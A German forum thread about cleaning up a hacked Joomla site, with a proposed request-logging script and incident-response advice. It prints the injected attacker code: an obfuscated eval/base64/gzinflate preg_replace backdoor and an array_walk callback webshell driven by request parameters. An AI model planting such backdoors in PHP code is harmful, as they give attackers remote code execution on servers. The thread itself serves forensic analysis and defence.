von php-hacker gesendete daten ueberwachen

[seth_not@home]

gudn tach!

grober hintergrund

bei einer joomla-instanz, die ich mitbetreue, ist uns letztens aufgefallen, dass jemand fremden code eingeschleust hat und ab und zu einige megabyte an daten an die neuen scripts geschickt hat.

vermutlich wurde eine sicherheitsluecke von joomla 3.4.5 und 3.4.6 ausgenutzt (ueber die letztes jahr recht viel berichtet wurde, siehe heise.de).

ziel, idee und frage

nun wuerde ich gerne herausfinden, welcher art diese daten waren/sind, die an diese neuen/modifizierten scripts gesendet wurden. das access-log gibt das leider nicht her, also ist meine "hoffnung", das der uebeltaeter nochmal vorbeischaut. ich wuerde meinerseits die scripts vorher entsprechend abaendern und die request-daten mitloggen.

meine idee ist ein solches script:

<?php
file_put_contents('postdata.txt', date(DATE_ATOM) . "\n" . var_export($_REQUEST, true), FILE_APPEND | LOCK_EX);
echo "ok!"
?>

allerdings soll man ja normalerweise keine user-daten unbehandelt benutzen. deswegen nun meine frage: ist diese vorgehensweise dumm? (wenn ja: wieso? was waere besser?)

hintergrunddetails

nicht fuer meine obige frage von grosser bedeutung (aber vielleicht interessiert's ja trotzdem jemanden) ist das eingeschleuste script des boesewichts:

<?php
preg_replace('/a/e','e'.'v'.'a'.'l'.'(gzinfl'.'ate(base'.'64_decod'.'e(\'cygoSk2PL0otyElMTtVQ0o9OzU3MzInVT1XSUYkPcg0MdQ0OiVZPLSrKL1KP1VECM5Q0rQE=\')))','abc');
echo "ok!"
?>

was sich vor allem in

@preg_replace("/[email]/e",$_REQUEST['error'],"error");

aufloest.

zusaetzlich wurde in eine bereits bestehende php-datei der code

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

eingefuegt.

frage am rande: weiss jemand von euch zufaellig, ob das ueberhaupt auf die joomla-luecke von version 3.4.6 hindeutet?

prost

seth

[dedlfix]

Tach!

<?php
file_put_contents('postdata.txt', date(DATE_ATOM) . "\n" . var_export($_REQUEST, true), FILE_APPEND | LOCK_EX);
echo "ok!"
?>

allerdings soll man ja normalerweise keine user-daten unbehandelt benutzen.

Und ich predige andauernd, dass "Userdaten müssen behandelt werden" der falsche Ansatz ist. Es kommt nicht auf die Herkunft von Daten an, sondern lediglich, dass sie im Zielkontext korrekt eingefügt werden.

deswegen nun meine frage: ist diese vorgehensweise dumm? (wenn ja: wieso? was waere besser?)

Du hast eine Textdatei und darein schreibst du Daten. Das kannst du machen, wie du Lust hast, denn du mischst dabei keine Daten mit anderen Daten oder Code. Niemand außer einem Texteditor muss die Datei lesen können. Sie wird auch nicht interpretiert und ausgeführt.

Was anderes wäre es, wenn die Datei maschinell gelesen werden muss und dabei bestimmte Zeichen als Trennzeichen verwendet werden. Dann müsstest du diese Trennzeichen von den Nutzdaten unterscheiden können.

dedlfix.

[seth_not@home]

gudn tach!

allerdings soll man ja normalerweise keine user-daten unbehandelt benutzen.

Und ich predige andauernd, dass "Userdaten müssen behandelt werden" der falsche Ansatz ist. Es kommt nicht auf die Herkunft von Daten an, sondern lediglich, dass sie im Zielkontext korrekt eingefügt werden.

hehe, ja, da war ich zu unpraesize. wenn die daten konzeptionell nur als string verwendet und nicht ausgefuehrt werden koennen, sollten sie auch unbehandelt bleiben. ich war mir nur unsicher, ob bei dem vorgeschlagenen konzept dies wirklich der fall ist.

deswegen nun meine frage: ist diese vorgehensweise dumm? (wenn ja: wieso? was waere besser?)

Du hast eine Textdatei und darein schreibst du Daten. Das kannst du machen, wie du Lust hast, denn du mischst dabei keine Daten mit anderen Daten oder Code. Niemand außer einem Texteditor muss die Datei lesen können. Sie wird auch nicht interpretiert und ausgeführt. Was anderes wäre es, wenn die Datei maschinell gelesen werden muss [...]

das waren etwa auch meine gedanken, aber manchmal uebersieht man ja was. und wenn ich mich schon mit einem php-hacker anlege (auch wenn's vermutlich nur ein bot ist), moechte ich einfach besonders vorsichtig sein.

danke fuer die antwort. :-)

prost

seth

[Google weiß alles]

> . var_export($_REQUEST, true)

1. Enthält aber bei Standard-Voreinstellungen (in variables_order, request_order)

$_REQUEST = array();
$_REQUEST = $_GET;
$_REQUEST = $_POST;
$_REQUEST = $_COOKIE;

2. Du kannst also nicht unterscheiden was wie gesendet wurde. Achte darauf, dass Dir das schreiben eines großen Logfiles ggf. das Dateisystem "zerfeilen" kann. Nämlich wenn es vollgeschrieben wird. Am besten nicht auf dem root-Dateisystem machen denn manche wissen nicht wie man das repariert (oder dass es dann zwingend zu einer gewissen Downtime kommt).

3. Nach 24h kommen die Angreifer meist nicht wieder.

4. Du musst noch tagelang Logfiles beobachten und nach POST suchen - was ja nicht mal reicht. Falls Du auch nur ein Skript übersehen hast: Die schreiben neue, harmlos klingende Skripte wie "helper.php" und eine Webshell IN eine Vielzahl (gemeint: hunderte) der vorhandenen Skripte hinein. Es kann sein, dass die Angreifer sich schneller neue Skripte installieren als Du löschen kannst. Alles zu löschen, was der Webserver beschreiben durfte ist auch faktisch der einige Weg das Zeug loszuwerden.

5. In der Phase ist Dein Server meist schon verkauft. Also der eigentliche Hacker ist weg und hat den Nutzern (oft Spammer) den Server (genauer den Zugang) verkauft.

6. Kann Joomla sein, kann Wordpress sein, kann sonstwas sein - was Du zeigst ist nicht der Einbruch, sondern das Ergebnis. Es gilt aber: Nur wenn Joomla und Wordpress gemeinsam installiert ist würde ich bei "Wer wird Millionär" kurz schwanken.

7. Auch die Datenbank kann "beschädigt" sein. Du hast das Datum des Einbruchs und ein Backup von einem Zeitpunkt davor? Dann weist Du was zu tun ist. Alle in der DB gespeicherten Passwörter (inklusive der für den Zugang zur DB) sind als verletzt anzusehen.

[seth]

gudn tach!

danke fuer die ausfuehrliche allgemeine antwort. in meinem speziellen fall sind (gluecklicherweise) die meisten der von dir genannten bedenken zwar leicht ausraeumbar. aber im sinne einer allgemeinen anleitung/checklist stimme ich deiner antwort vollkommen zu (und bewerte sie deshalb auch als hilfreich). :-)

> . var_export($_REQUEST, true)

1. Enthält aber bei Standard-Voreinstellungen (in variables_order, request_order)

$_REQUEST = array();
$_REQUEST = $_GET;
$_REQUEST = $_POST;
$_REQUEST = $_COOKIE;

2. Du kannst also nicht unterscheiden was wie gesendet wurde.

ob POST oder GET ist mir nicht so wichtig. und ueber das apache-access-log wuerde ich ja den query-string im falle von GET ohnehin sehen. _COOKIE spielt hier, glaube ich, keine rolle.

Achte darauf, dass Dir das schreiben eines großen Logfiles ggf. das Dateisystem "zerfeilen" kann. Nämlich wenn es vollgeschrieben wird. Am besten nicht auf dem root-Dateisystem machen denn manche wissen nicht wie man das repariert (oder dass es dann zwingend zu einer gewissen Downtime kommt).

guter punkt. zwar hatte der boesewicht bisher jeweils nur ein paar megabyte drueber gesendet, aber das wuerde er ja vielleicht zum test mehrfach wiederholen, wenn er feststellt, das irgendwas nicht ganz klappt.

3. Nach 24h kommen die Angreifer meist nicht wieder.

naja, vielleicht nicht mehr die originalen, aber dann vielleicht deren kunden. in unserem fall kam jemand alle paar wochen mal, um die neuen scripts zu nutzen. immer aus der gleichen dynamischen ip-range aus karlsruhe.

4. Du musst noch tagelang Logfiles beobachten und nach POST suchen

ja, auf jeden fall.

was ja nicht mal reicht. Falls Du auch nur ein Skript übersehen hast: Die schreiben neue, harmlos klingende Skripte wie "helper.php" und eine Webshell IN eine Vielzahl (gemeint: hunderte) der vorhandenen Skripte hinein. Es kann sein, dass die Angreifer sich schneller neue Skripte installieren als Du löschen kannst. Alles zu löschen, was der Webserver beschreiben durfte ist auch faktisch der einige Weg das Zeug loszuwerden.

grundsaetzlich richtig. ich hatte in diesem fall noch aeltere sicherungen (von vor dem angriff) und konnte anhand eines grossen diffs sehr genau sehen, wo die aenderungen waren. es waren genau drei dateien betroffen.

5. In der Phase ist Dein Server meist schon verkauft. Also der eigentliche Hacker ist weg und hat den Nutzern (oft Spammer) den Server (genauer den Zugang) verkauft.

ja, so wird es vermutlich auch in unserem fall sein.

6. Kann Joomla sein, kann Wordpress sein, kann sonstwas sein - was Du zeigst ist nicht der Einbruch, sondern das Ergebnis.

ja, der erst spaet bemerkte einbruch selbst ist leider nicht mehr im log, weil das aus datenschutzgruenden leider nicht so lange gespeichert werden darf. andererseits ist es vermutlich fast egal, weil's vermutlich wegen so einer bagatelle keine grosse strafverfolgung gaebe -- erst recht, wenn der angreifer aus dem ausland kaeme. da fuer den account nur genau eine joomla-instanz lokal installiert war und sonst nix, sehe ich die wahrscheinlichkeit als sehr hoch ein, dass diese joomla-instanz gehackt wurde. es war ja eine bekanntermassen sehr unsichere version. andere domain-verzeichnisse auf demselben server wurden nicht manipuliert.

Es gilt aber: Nur wenn Joomla und Wordpress gemeinsam installiert ist würde ich bei "Wer wird Millionär" kurz schwanken.

wordpress ist fuer diesen account nicht installiert.

7. Auch die Datenbank kann "beschädigt" sein. Du hast das Datum des Einbruchs und ein Backup von einem Zeitpunkt davor? Dann weist Du was zu tun ist. Alle in der DB gespeicherten Passwörter (inklusive der für den Zugang zur DB) sind als verletzt anzusehen.

ja, die passwoerter sind bereits alle ersetzt. beim diff der db (von der ich auch ein backup habe), war auch nichts boeses drin. insofern denke ich, dass ich die instanz nicht neu installieren muss.

prost

seth

[dedlfix]

Tach!

ob POST oder GET ist mir nicht so wichtig. und ueber das apache-access-log wuerde ich ja den query-string im falle von GET ohnehin sehen. _COOKIE spielt hier, glaube ich, keine rolle.

Sag das nicht, bevor du den Schadcode ausgepackt und analysiert hast. Ein über Cookie-Daten gesteuertes Bot-Script ist kein Ding, das nicht existiert. Cookies müssen ja nicht zwangsläufig vom Server gesetzt worden sein, bevor sie ein Client senden kann.

dedlfix.